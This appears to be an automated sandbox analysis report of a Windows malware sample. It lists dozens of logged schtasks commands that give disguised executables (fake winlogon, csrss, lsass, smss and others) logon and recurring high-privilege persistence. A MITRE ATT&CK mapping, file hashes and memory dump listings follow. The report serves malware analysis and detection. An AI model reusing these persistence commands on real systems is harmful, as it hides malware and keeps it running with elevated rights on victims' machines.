- Creates scheduled task(s)
PID:1084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Portable Devices\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Start Menu\lsm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Users\All Users\Start Menu\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Start Menu\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Windows\twain_32\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\twain_32\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Windows\twain_32\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\jre7\bin\dtplugin\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Program Files\Java\jre7\bin\dtplugin\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Windows\Setup\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Setup\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Windows\Setup\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Documents\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default\Documents\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Documents\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Adobe\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Adobe\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Google\Policies\lsm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Policies\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Google\Policies\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2088

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Bypass User Account Control

1

T1088

Scheduled Task

1

T1053

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe
Filesize
4.9MB

MD5
1d838ba1ee9e3810f3ec8fda15d718f9

SHA1
19c14f61167fad290dc83e9ab95081ad75b1c77d

SHA256
fcc2d25c4f3a0f580a05bcdef74ff1a4a210de4fcc1a62dad49e9025dead1cac

SHA512
a9d2f7a02f450429843bd6c94fc12c0e93851c5e033a13e0010761e2edbcffed424a2f445e507f7f0f7251a934ec0729fa6ba1e08fdbfdab910f150837ff7c72

Download Submit
C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe
Filesize
4.9MB

MD5
1d838ba1ee9e3810f3ec8fda15d718f9

SHA1
19c14f61167fad290dc83e9ab95081ad75b1c77d

SHA256
fcc2d25c4f3a0f580a05bcdef74ff1a4a210de4fcc1a62dad49e9025dead1cac

SHA512
a9d2f7a02f450429843bd6c94fc12c0e93851c5e033a13e0010761e2edbcffed424a2f445e507f7f0f7251a934ec0729fa6ba1e08fdbfdab910f150837ff7c72

Download Submit
C:\Users\Admin\AppData\Local\Temp\MkjPh56yPS.bat
Filesize
239B

MD5
9d7f3c15aa95b760e82c8dce40ea4507

SHA1
95a9d9497a866e7a8e9b87c7a2a7d33541158dab

SHA256
21c48c5b026a0150bf0b6a75abf6fc220443dbbc151dccd0f713c115051f8737

SHA512
25f5cffdd44487e6997584d69b5f38cd24c28702f768cdf6adbba924256dc17845441fccdb9285f30f861f803f9457b64f03e49c19b7c1fb25718168f9bbcbcc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
509e8fe970a245287b499d51f03f9e8a

SHA1
db5e8a4c399345233c2e81943f3461ff91c7490b

SHA256
4d5c785b79d722b7893db883806fecef9a8271509e8d526038e9b7ea0fdd68d0

SHA512
78bb314f5c2b6abfa8a5289dff7647049337c29897ba7d674c27bb7e9a6c4ff7d9b4212e171e97872196780c636271aa494ab48ae3784dbb7dc3a15ca4e79a9f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
509e8fe970a245287b499d51f03f9e8a

SHA1
db5e8a4c399345233c2e81943f3461ff91c7490b

SHA256
4d5c785b79d722b7893db883806fecef9a8271509e8d526038e9b7ea0fdd68d0

SHA512
78bb314f5c2b6abfa8a5289dff7647049337c29897ba7d674c27bb7e9a6c4ff7d9b4212e171e97872196780c636271aa494ab48ae3784dbb7dc3a15ca4e79a9f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
509e8fe970a245287b499d51f03f9e8a

SHA1
db5e8a4c399345233c2e81943f3461ff91c7490b

SHA256
4d5c785b79d722b7893db883806fecef9a8271509e8d526038e9b7ea0fdd68d0

SHA512
78bb314f5c2b6abfa8a5289dff7647049337c29897ba7d674c27bb7e9a6c4ff7d9b4212e171e97872196780c636271aa494ab48ae3784dbb7dc3a15ca4e79a9f

Download Submit
memory/1516-68-0x000000001B1A0000-0x000000001B1AC000-memory.dmp

Filesize
48KB

Download
memory/1516-59-0x00000000009C0000-0x00000000009D6000-memory.dmp

Filesize
88KB

Download
memory/1516-62-0x000000001AB80000-0x000000001AB92000-memory.dmp

Filesize
72KB

Download
memory/1516-63-0x000000001AB90000-0x000000001AB9A000-memory.dmp

Filesize
40KB

Download
memory/1516-64-0x000000001B060000-0x000000001B06E000-memory.dmp

Filesize
56KB

Download
memory/1516-65-0x000000001B070000-0x000000001B07E000-memory.dmp

Filesize
56KB

Download
memory/1516-66-0x000000001B080000-0x000000001B088000-memory.dmp

Filesize
32KB

Download
memory/1516-67-0x000000001B090000-0x000000001B098000-memory.dmp

Filesize
32KB

Download
memory/1516-60-0x00000000009E0000-0x00000000009F0000-memory.dmp

Filesize
64KB

Download
memory/1516-55-0x000000001B3A0000-0x000000001B4CE000-memory.dmp

Filesize
1.2MB

Download
memory/1516-56-0x0000000000800000-0x000000000081C000-memory.dmp

Filesize
112KB

Download
memory/1516-57-0x00000000009A0000-0x00000000009A8000-memory.dmp

Filesize
32KB

Download
memory/1516-58-0x00000000009B0000-0x00000000009C0000-memory.dmp

Filesize
64KB

Download
memory/1516-61-0x0000000002260000-0x000000000226A000-memory.dmp

Filesize
40KB

Download
memory/1516-54-0x0000000000280000-0x0000000000774000-memory.dmp

Filesize
5.0MB

Download
memory/2124-102-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2124-119-0x0000000002984000-0x0000000002987000-memory.dmp

Filesize
12KB

Download
memory/2124-69-0x0000000000000000-mapping.dmp

Download
memory/2136-70-0x0000000000000000-mapping.dmp

Download
memory/2148-71-0x0000000000000000-mapping.dmp

Download
memory/2148-81-0x000007FEFB7E1000-0x000007FEFB7E3000-memory.dmp

Filesize
8KB

Download
memory/2176-94-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2176-122-0x0000000002294000-0x0000000002297000-memory.dmp

Filesize
12KB

Download
memory/2176-72-0x0000000000000000-mapping.dmp

Download
memory/2192-73-0x0000000000000000-mapping.dmp

Download
memory/2224-95-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2224-74-0x0000000000000000-mapping.dmp

Download
memory/2224-118-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/2240-75-0x0000000000000000-mapping.dmp

Download
memory/2272-123-0x0000000002354000-0x0000000002357000-memory.dmp

Filesize
12KB

Download
memory/2272-76-0x0000000000000000-mapping.dmp

Download
memory/2272-101-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2288-77-0x0000000000000000-mapping.dmp

Download
memory/2288-117-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/2288-98-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2324-103-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2324-78-0x0000000000000000-mapping.dmp

Download
memory/2324-120-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/2336-104-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2336-79-0x0000000000000000-mapping.dmp

Download
memory/2336-121-0x00000000025F4000-0x00000000025F7000-memory.dmp

Filesize
12KB

Download
memory/2368-100-0x000007FEEA070000-0x000007FEEAA93000-memory.dmp

Filesize
10.1MB

Download
memory/2368-80-0x0000000000000000-mapping.dmp

Download
memory/2368-124-0x0000000002884000-0x0000000002887000-memory.dmp

Filesize
12KB

Download
memory/2564-93-0x0000000000000000-mapping.dmp

Download
memory/2744-106-0x0000000000000000-mapping.dmp

Download
memory/2792-110-0x0000000000E40000-0x0000000001334000-memory.dmp

Filesize
5.0MB

Download
memory/2792-107-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads